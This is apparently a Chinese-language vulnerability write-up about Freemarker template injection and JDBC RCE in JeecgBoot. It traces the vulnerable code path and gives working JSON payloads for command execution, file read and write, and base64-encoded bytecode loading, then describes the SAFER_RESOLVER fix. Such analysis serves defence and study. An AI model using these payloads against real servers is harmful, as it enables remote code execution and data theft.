从JeecgBoot中学习FreemarkerSSTI
Freemarker模板注入
漏洞信息
Freemarker 模板注入导致远程命令执行,远程攻击者可利用该漏洞调用在系统上执行任意命令。漏洞危害等级:高危
影响范围如下
- minidao-spring-boot-starter 版本 < 1.9.2
- jimureport-spring-boot-starter 版本 < 1.6.1
- codegenerate 版本 < 1.4.4
- hibernate-re 版本 < 3.5.3
- jeewx-api 版本 < 1.5.2
- drag-free 版本 < 1.0.2
漏洞分析
存在漏洞的接口/jmreport/queryFieldBySql,这里首先有sql注入风险
这个接口对应的类位于org.jeecg.modules.jmreport.desreport.a.a,方法是org.jeecg.modules.jmreport.desreport.a.a#c(com.alibaba.fastjson.JSONObject)
首先会进入i.a中对sql语句进行处理,这里主要是检测sql注入,采用黑名单的方式
1 | public static void a(String var0) { |
但是这里的sql注入不是重点,继续向后跟进至org.jeecg.modules.jmreport.desreport.service.a.i#parseReportSql
626行会对sql语句做一个解析
跟进至org.jeecg.modules.jmreport.desreport.util.f#a(java.lang.String, java.util.Map<java.lang.String,java.lang.Object>, com.alibaba.fastjson.JSONArray),这里是具体的处理过程
256行的a函数是作freemarker解析的,而257行的a函数是判断解析后是否存在sql注入
继续跟进在256行的a函数,最终在org.jeecg.modules.jmreport.desreport.render.utils.FreeMarkerUtils#a(java.lang.String, java.util.Map<java.lang.String,java.lang.Object>)中会触发freemarker的模板解析,造成模板注入
1 | public static String a(String var0, Map<String, Object> var1) { |
(new Template("template", new StringReader(var0), var2)).process(var1, var3);
会解析我们的freemaker语句
漏洞利用
freemarker.template.utility.Execute命令执行
因此可以构造poc,利用freemarker.template.utility.Execute内置来执行命令
200回显
1 | {"sql":"select '<#assign value=\"freemarker.template.utility.Execute\"?new()>${value(\"whoami\")}'"} |
报错有回显
1 | {"sql":"${\"freemarker.template.utility.Execute\"?new()(\"whoami\")}"} |
ObjectConstructor实例化对象
利用freemarker.template.utility.ObjectConstructor实例化对象
读文件
1 | {"sql":"select '<#assign value=\"freemarker.template.utility.ObjectConstructor\"?new()(\"java.io.FileReader\",\"E:/flag.txt\")>${\"freemarker.template.utility.ObjectConstructor\"?new()(\"java.util.Scanner\",value).useDelimiter(\"Aasd\").next()}'"} |
写文件
1 | {"sql":"<#assign base64String = \"Y2FsY2FhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYQ==\"><#assign decoder = \"freemarker.template.utility.ObjectConstructor\"?new()(\"sun.misc.BASE64Decoder\")><#assign bytes=decoder.decodeBuffer(base64String)><#assign value=\"freemarker.template.utility.ObjectConstructor\"?new()(\"java.io.FileOutputStream\",\"E:/re.txt\")>${value.write(bytes)}"} |
ScriptEngine 反射加载字节码
1 | {"sql":"${\"freemarker.template.utility.ObjectConstructor\"?new()(\"javax.script.ScriptEngineManager\").getEngineByName(\"js\").eval(\"var classLoader = java.lang.Thread.currentThread().getContextClassLoader();try{classLoader.loadClass('org.apache.mb.HTMLUtil').newInstance();}catch (e){var clsString = classLoader.loadClass('java.lang.String');var bytecodeBase64 = 'yv66vgAAADEAGAEAAWEHAAEBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwADAQAGPGluaXQ+AQADKClWAQAEQ29kZQwABQAGCgAEAAgBABFqYXZhL2xhbmcvUnVudGltZQcACgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMAAwADQoACwAOAQAIY2FsYy5leGUIABABAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAASABMKAAsAFAEAClNvdXJjZUZpbGUBAAZhLmphdmEAIQACAAQAAAAAAAEAAQAFAAYAAQAHAAAAGgACAAEAAAAOKrcACbgADxIRtgAVV7EAAAAAAAEAFgAAAAIAFw==';var bytecode;try{var clsBase64 = classLoader.loadClass('java.util.Base64');var clsDecoder = classLoader.loadClass('java.util.Base64$Decoder');var decoder = clsBase64.getMethod('getDecoder').invoke(base64Clz);bytecode = clsDecoder.getMethod('decode', clsString).invoke(decoder, bytecodeBase64);} catch (ee) {try {var datatypeConverterClz = classLoader.loadClass('javax.xml.bind.DatatypeConverter');bytecode = datatypeConverterClz.getMethod('parseBase64Binary', clsString).invoke(datatypeConverterClz, bytecodeBase64);} catch (eee) {var clazz1 = classLoader.loadClass('sun.misc.BASE64Decoder');bytecode = clazz1.newInstance().decodeBuffer(bytecodeBase64);}}var clsClassLoader = classLoader.loadClass('java.lang.ClassLoader');var clsByteArray = (new java.lang.String('a').getBytes().getClass());var clsInt = java.lang.Integer.TYPE;var defineClass = clsClassLoader.getDeclaredMethod('defineClass', [clsByteArray, clsInt, clsInt]);defineClass.setAccessible(true);var clazz = defineClass.invoke(classLoader,bytecode,new java.lang.Integer(0),new java.lang.Integer(bytecode.length));clazz.newInstance();}\")}"} |
加载spel,命令执行
1 | {"sql":"${\"freemarker.template.utility.ObjectConstructor\"?new()(\"org.springframework.expression.spel.standard.SpelExpressionParser\").parseExpression(\"T(java.lang.Runtime).getRuntime().exec(\\\"calc\\\")\").getValue()}"} |
加载spel,加载字节码(失败)
1 | {"sql":"${\"freemarker.template.utility.ObjectConstructor\"?new()(\"org.springframework.expression.spel.standard.SpelExpressionParser\").parseExpression(\"T(org.springframework.cglib.core.ReflectUtils).defineClass(\\\"org.apache.commonspe.SignatureUtils\\\",T(org.springframework.util.Base64Utils).decodeFromString(\\\"yv66vgAAADEAGAEAAWEHAAEBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwADAQAGPGluaXQ+AQADKClWAQAEQ29kZQwABQAGCgAEAAgBABFqYXZhL2xhbmcvUnVudGltZQcACgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMAAwADQoACwAOAQAIY2FsYy5leGUIABABAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAASABMKAAsAFAEAClNvdXJjZUZpbGUBAAZhLmphdmEAIQACAAQAAAAAAAEAAQAFAAYAAQAHAAAAGgACAAEAAAAOKrcACbgADxIRtgAVV7EAAAAAAAEAFgAAAAIAFw==\\\"),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).newInstance()\").getValue()}"} |
漏洞修复
从 2.3.17版本以后,官方版本提供了三种TemplateClassResolver对类进行解析:
1、UNRESTRICTED_RESOLVER:可以通过 ClassUtil.forName(className)
获取任何类。
2、SAFER_RESOLVER:不能加载 freemarker.template.utility.JythonRuntime
、freemarker.template.utility.Execute
、freemarker.template.utility.ObjectConstructor
这三个类。
3、ALLOWS_NOTHING_RESOLVER:不能解析任何类。
可通过freemarker.core.Configurable#setNewBuiltinClassResolver
方法设置TemplateClassResolver
,从而限制通过new()
函数对freemarker.template.utility.JythonRuntime
、freemarker.template.utility.Execute
、freemarker.template.utility.ObjectConstructor
这三个类的解析。
官方的修复commit
https://github.com/jeecgboot/jeecg-boot/commit/acb48179ab00e167747fa4a3e4fd3b94c78aeda5
通过设置SAFER_RESOLVER来阻止、freemarker.template.utility.Execute
和freemarker.template.utility.ObjectConstructor
的使用
JDBC rce
影响范围
org.jeecgframework.boot:jeecg-boot-parent@[3.0, 3.5.3]
漏洞分析
漏洞位于org.jeecg.modules.jmreport.desreport.a.a#a(org.jeecg.modules.jmreport.dyndb.vo.JmreportDynamicDataSourceVo)
代码片段
1 | try { |
漏洞利用
1.7.9的jdbc依赖如下
1 | <!-- 数据库驱动 --> |
老版本可以使用的h2和postgresql已经无法使用
mysql 读文件
1 | { |
db2 jndi注入
打反序列化
1 | { |
db2 写文件
略